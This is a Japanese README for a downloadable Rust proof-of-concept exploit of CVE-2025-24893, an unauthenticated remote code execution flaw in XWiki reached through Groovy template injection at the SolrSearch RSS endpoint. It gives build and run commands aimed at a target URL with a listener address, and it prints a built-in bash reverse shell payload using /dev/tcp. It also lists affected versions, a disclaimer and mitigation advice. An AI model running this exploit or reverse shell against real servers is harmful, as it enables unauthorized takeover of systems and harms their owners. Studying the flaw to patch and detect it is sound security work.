CVE-2025-24893 — XWiki 未認証RCE (PoC)

CVE-2025-24893 の概念実証エクスプロイトです。XWiki における重大な未認証リモートコード実行（RCE） 脆弱性です。
このエクスプロイトは SolrSearch エンドポイントのGroovyテンプレートインジェクションを悪用し、認証なしで任意のコマンド（リバースシェルを含む）を実行します。

💥 脆弱性の詳細

XWikiが SolrSearch RSSエンドポイントへの細工された入力を処理する方法に欠陥があり、攻撃者がレンダリングパイプラインにGroovyコードを注入できます。
これにより、{{groovy}} スクリプトブロックを介した未認証RCE が可能になります。

✅ 影響を受けるバージョン

• < 15.10.11
• >= 16.0.0 かつ < 16.4.1

❌ 修正されたバージョン

• 15.10.11
• 16.4.1

🔧 使用方法

リリースをダウンロード:

Releases

またはソースからビルド:

cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444

リバースシェルペイロード

以下の形式のビルトインリバースシェルペイロードがあります:

bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1

⚠️ 法的免責事項

このコードは教育および許可されたセキュリティ研究のみを目的としています。 所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。

✍️ クレジット

• エクスプロイトPoC: Artemir7
• Rust移植: investigato

🛡️ 検出と緩和策

• XWiki 15.10.11 または 16.4.1+ に更新する
• /bin/get/Main/SolrSearch?media=rss の不審な使用を監視する
• 可能であれば匿名ユーザーのGroovy実行を無効にする